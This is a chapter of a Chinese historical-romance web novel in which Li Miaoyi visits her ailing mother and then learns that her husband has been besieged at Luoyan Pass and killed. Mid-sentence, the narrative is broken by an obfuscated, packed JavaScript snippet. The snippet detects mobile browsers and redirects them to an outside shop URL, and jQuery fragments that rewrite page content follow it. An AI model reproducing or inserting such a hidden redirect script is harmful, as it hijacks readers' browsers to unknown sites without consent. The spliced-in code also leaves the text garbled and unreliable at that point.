日子在焦灼的等待中一天天捱过。
边关战报不时传来，时好时坏。郑淮舟用兵如神，初时几场战役皆告捷，朝中一片欢腾。可北戎此番南侵筹备多年，兵强马壮，后续战事逐渐胶着。
国公府中，气氛随着每一封战报起起落落。
国公夫人日日念佛，那尊从寺庙请来的白玉观音像前，香火从未断过。国公爷则时常在书房中对着那幅巨大的北境舆图沉思，一站就是半天。
李妙仪大多时间都待在自己的院落中，她开始做一些从前不会做的事，或者说，是“安阳公主”不会做，“崔令言”却可能会做的事。
比如，亲自打理那几盆陪嫁的兰花，原本一直由花匠照料，如今她得了空，便学着浇水、修剪、换土。
再者，向府中那位曾在江南茶庄待过的老仆请教烹茶之道。火候、水温、冲泡的时辰，一样样学来，竟也渐渐能点出一盏清润的茶汤。
更多时候，则待在书房，翻阅郑淮舟留下的兵书舆图。那些山川地势、排兵布阵的图示旁，常有他留下的朱批小字，笔锋凌厉如刀，批注得极为细致。
前线如火如荼，盛京尚且太平。秋意渐浓时，崔家突然派人来传话，说柳氏重病缠身，已卧榻数日。
李妙仪看着那张字迹潦草的帖子，心中无波无澜。这年头不孝的罪名足以压垮一个女子，属于“崔令言”的本分还得尽。
她压下心头那点厌恶，吩咐管家备了礼品药材，带着青鸾回了崔家。
崔府仍是那副乌烟瘴气的样子，门房老仆见是她，懒洋洋地通报，连个引路的人都没有。穿过庭院时，听见两个洒扫的婆子躲在廊柱后嚼舌根：
“听说老爷在外头那个……有了身子。”
“作孽哟，夫人还病着……”
“那两个少爷呢？怎不见侍疾？”
“昨日还见他们从赌坊出来呢，啧啧。”
青鸾气得脸发白，怒声道：“夫人，他们……”
“无妨。”李妙仪脚步未停，面色平静，“早该料到的。”
进了内室，药味扑鼻。柳氏正躺在榻上，面黄肌瘦，眼窝深陷，全然没了往日精致的模样。见女儿进来，她眼睛亮了亮，挣扎着要起身。
“母亲躺着吧。”李妙仪面不改色，在榻边的绣墩上坐下，“可好些了？”
柳氏喘着气，未语泪先流：“令言啊……你可算来了……这家里，没人管你母亲的死活……”
李妙仪静静看着她哭，等她哭声渐歇，才开口：“父亲呢？”
柳氏脸色一僵。
“两位弟弟呢？”
柳氏嘴唇哆嗦起来。
李妙仪轻轻掸了掸衣袖：“母亲可听说了？父亲在外头置办宅子，养的人还有了身孕。难不成父亲是觉着家里这两个号练废了，准备在外头养小号？”
“你！”柳氏瞪大眼睛，像是第一次认识这个女儿，“你怎能这样说话？！”
“那该怎样说？”李妙仪看着她，“说母亲贤惠大度，说弟弟们刻苦用功，说父亲顾念旧情？母亲，这话您自己信吗？”
柳氏被噎得说不出话，指着她直哆嗦，忽然悲从中来，放声大哭。那哭声着实凄厉，听着有几分绝望。
门外的嬷嬷闻声连忙进来，一面给柳氏顺气，一面对李妙仪使眼色：“小姐少说两句吧，夫人这病是心中郁结，大夫说了不能动气。”
李妙仪移开眼，她方才问过大夫，柳氏这病确实是积郁成疾，心火攻心。可她就是忍不住，看着这个曾经将崔令言当作筹码的母亲，那些压在心底的话就冲了出来。
待柳氏平静下来，已是筋疲力尽，她靠在枕上望着女儿，眼神复杂，良久才道：“你这孩子嫁了人，倒像变了个人。”
李妙仪不答。
柳氏叹了口气，又忍不住絮叨起来：“女人这一辈子，终究是要靠丈夫、靠儿子的。你如今虽嫁得好，可姑爷出征在外，生死难料。你更要小心侍奉公婆，多攒些体己，将来也好……”
“母亲。”李妙仪打断她，“我想要的东西，自会去争，犯不着在他人身上处心积虑，更不必仰人鼻息。”
柳氏怔住了，她看着眼前的女儿，脊背挺直，目光清明，那股从骨子里透出的从容与底气，是过去的崔令言从未有过的。
仿佛一只挣脱牢笼的鸟儿，飞向了更广阔的天空，羽翼渐丰，光彩照人。
柳氏喃喃道：“你真不像我的女儿了。”
李妙仪起身，行了一礼：“母亲好生休养，缺什么便让人去国公府传话。女儿改日再来看您。”
走出崔府时，秋阳明澈，天色正朗。她立在石阶上，深深吸了一口气，积压胸中许久的那股郁结，终于散了。
马车一路往回走，行至半途，车身猛地一震，骤然停住。
车夫察看后慌忙回报：“少夫人，车轴裂了，一时怕是走不了了。”
天色渐渐暗了下来，此处离国公府尚有一段距离，青鸾急得转来转去，李妙仪却神色平静，只吩咐道：“派人回府报信便是。”
正说着，一阵马蹄声由远及近。一队巡城官兵路过，为首之人银甲黑袍，身姿挺拔，正是郑淮序。他一眼认出国公府的马车，勒马上前：“嫂嫂？”
听明缘由，郑淮序立即命手下寻来一辆完好的马车，又亲自护送李妙仪回府。
一路上两人无话，只闻马蹄声声，到了府门前，李妙仪下车，客套道：“二郎可要进府用膳？”
“公务在身，改日吧。”郑淮序在马上拱手，“嫂嫂慢行。”
李妙仪微微颔首，转身入府，几步之后，她却忽然停住，回身望去。
郑淮序已策马远去，身影没入长街尽头。秋风吹起他玄黑的披风，宛若孤云一片，飘向暮色深处。
他们之间，除了公主案的必要交谈，便一直保持着客气与疏离。可不知为何，她心里却像被什么堵着一般，闷闷的，落不到实处。
又过了半月。
这日午后，李妙仪在院中翻看一本北境风物志，正读到“落雁关”一节，旁书：“关险地要，一夫当关，万夫莫开。然若被困，亦是绝地。”
手指在那行字上停留许久。
侍女轻步进来，低声禀报：“少夫人，二公子来了，正在花厅与夫人说话，问您可要过去。”
李妙仪合上书，心中莫名一紧，郑淮序平日来请安，从不会特意问她。她换了身衣裳，赶到花厅。
一进门，便觉气氛凝重。
国公夫人坐在主位，眼眶通红，郑淮序立于下首，眉宇间压着浓重的阴影。见她进来，他沉声开口：“嫂嫂。”
“二郎。”李妙仪福了福身，转向国公夫人，“母亲，怎么了？”
国公夫人握着帕子的手抖得厉害，郑淮序深吸一口气：“刚传来的八百
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164860|196659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里加急，北戎增兵十万，大哥他们被围困在落雁关了。”
花厅里静得能听见呼吸声。
落雁关——绝地。李妙仪怔在原地，方才书页上的字句骤然变得滚烫，粮草、箭矢、伤亡……所有问题堵在喉间，她却只听见自己平静的声音：“消息确实？”
“军报无误，朝廷已调遣援军，可最快也要十日才能抵达。”
十日，被十万大军围困，意味着什么，在场的人都清楚。
国公夫人再也忍不住，捂着脸痛哭出声，那哭声嘶哑破碎，像一根针扎进每个人心里。
李妙仪上前扶住她的肩，言语苍白：“母亲莫急，世子向来用兵谨慎，选择固守落雁关，必有他的道理。援军既已出发，我们安心等候便是。”
郑淮序深深看了她一眼，须臾便告辞：“军务在身，母亲保重，一有消息，儿子即刻来报。”
安抚婆母服下安神汤睡下后，她独自站在窗前。秋风扑簌，吹动窗纸，她忽然想起郑淮舟出征前夜，那个依偎在她怀中寻求温暖的瞬间。
她或许始终未能对他生出男女之情，可重生以来，是他予她安稳，待她以诚，让她在这世间暂得心安。即便不是夫君，他也是活生生的人，会笑会怒，会在灯下为她绾发，会在沙场上挥斥方遒。
而现在，这个人被困绝地，生死未卜。
接下来几日，国公府笼罩在一片死寂的阴云中。战报断绝，落雁关音讯全无，朝中流言四起，有说郑淮舟已殉国，有说落雁关已破，更有甚者开始暗中串联，准备弹劾郑家“作战不力”“贻误军机”。
郑淮序连日奔走，既要稳住京畿防务，又要应对朝中明枪暗箭，眼下一片青黑，人也迅速清减。
这日他来请安时，李妙仪看着他疲惫的面容，忍不住道：“你也要保重身体。”
郑淮序微怔，唇角牵起一丝极淡的弧度：“谢嫂嫂关心。”
两人立于廊下，秋风吹过，庭中银杏叶纷飞如蝶，金灿灿铺了一地。
他忽然道：“大哥出征前，曾与我深谈。”他顿了顿，“他说，若他回不来，要我护你周全。若你想离开郑家，便助你去过自己想过的日子。”
李妙仪呼吸一滞。
“他是真的将你放在了心上。”郑淮序看着她，目光是她未曾见过的认真。
她别开眼，望向满庭落叶，未作回应。
正沉默间，一阵急促的马蹄声由远及近，在府门前猛然止住。紧接着是慌乱的脚步声、管家的惊呼、门房杂乱的叫喊。
一个满身尘土的传令兵跌跪入院，手中军报沾着暗红污渍，嘶哑的喊声撞碎了最后一丝平静：“落雁关急报！大雍险胜！”
喜悦还未展露，下一句又推向了低谷：“但是……郑将军率部突围，中箭坠马……以身殉国了……”
时间骤然静止。
银杏叶仍在飘落，一片，两片，缓缓落在传令兵颤抖的肩头，落在李妙仪月白的裙裾上，落在郑淮序倏然惨白的面前。
李妙仪看着裙角那片叶脉分明的金黄叶子，忽然想起郑淮舟送她的那支玉兰簪。
他说：“留着吧，来日也好睹物思人。”
那时她觉得这话太直白，太沉重。如今才明白，有些话一旦说出口，就成了谶。
风卷起漫天落叶，纷纷扬扬，如天地无声的挽歌。
而那个人，再也回不来了。